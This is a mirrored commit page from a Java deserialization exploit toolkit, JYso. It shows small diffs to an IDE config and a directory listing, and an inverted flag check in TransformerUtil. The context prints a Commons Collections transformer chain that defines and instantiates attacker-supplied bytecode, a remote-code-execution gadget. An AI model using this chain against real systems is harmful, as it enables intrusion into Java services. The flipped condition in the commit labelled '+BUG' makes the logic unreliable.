mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
+BUG
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Generated
-1
@@ -6,7 +6,6 @@
|
||||
<sourceOutputDir name="target/generated-sources/annotations" />
|
||||
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
|
||||
<outputRelativeToContentRoot value="true" />
|
||||
<module name="JYso" />
|
||||
<module name="JNDIExploit-master" />
|
||||
</profile>
|
||||
</annotationProcessing>
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
C:.
|
||||
├─.gradle Gradle构建配置文件
|
||||
│ ├─8.7
|
||||
│ │ ├─checksums
|
||||
|
||||
@@ -59,7 +59,7 @@ public class TransformerUtil {
|
||||
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
CtClass ctClass = generateClass(command);
|
||||
|
||||
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||
if (!USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
|
||||
// 在 NC 中可以使用
|
||||
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||
|
||||
Reference in New Issue
Block a user